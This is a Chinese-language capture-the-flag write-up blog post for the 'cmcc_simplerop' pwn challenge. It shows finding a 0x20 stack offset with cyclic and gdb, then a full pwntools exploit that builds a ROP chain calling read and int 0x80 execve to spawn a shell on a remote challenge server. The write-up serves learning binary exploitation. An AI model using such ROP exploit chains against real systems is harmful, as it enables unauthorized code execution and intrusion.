cmcc_simplerop

cmcc_simplerop

参考大佬的博客:https://www.cnblogs.com/bhxdn/p/12330142.html

谢谢这位大佬

安全检查

 

 流程分析

 

 在ida里发现偏移只有0x14,可是看完别人的wp后,发现偏移有0x20,测试的方法如下

先用cyclic 200生成一个字符串

 

 然后在gdb中测试偏移

 

 

 

 可知偏移为0x20

漏洞利用

通过工具Ropgadget查找可调用的函数

 

 在查找可用的gadget,可以找到很多这里我不贴出来了

 

 调用函数为int 80,当调用号为11时,调用sys_execve

关于调用号,可以看看这个人的博客

https://blog.csdn.net/xiaominthere/article/details/17287965

然后可以通过read函数来将bin_sh输入在bss段上

 

exp:

from pwn import *

#p=process('./simplerop')
p=remote('node3.buuoj.cn',26642)
elf=ELF('./simplerop')
libc=ELF('../libc-2.23_32.so')
#context.log_level = 'debug'



int_addr=0x80493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx = 0x0806e850
read_addr= 0x0806CD50
bin_sh=0x80EBF79

payload=p32(61)*8+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bin_sh)+p32(0x8)
payload+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_addr)

p.recvuntil('input :')

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

总结

这一个题目学到的挺多的,比如系统调用,比如灵活运用工具等,最主要的是对栈的了解

通过这道题,我发现ret返回的地址是当前esp指向的地址

posted @ 2020-11-22 20:58  PYozo_free  阅读(184)  评论(0编辑  收藏  举报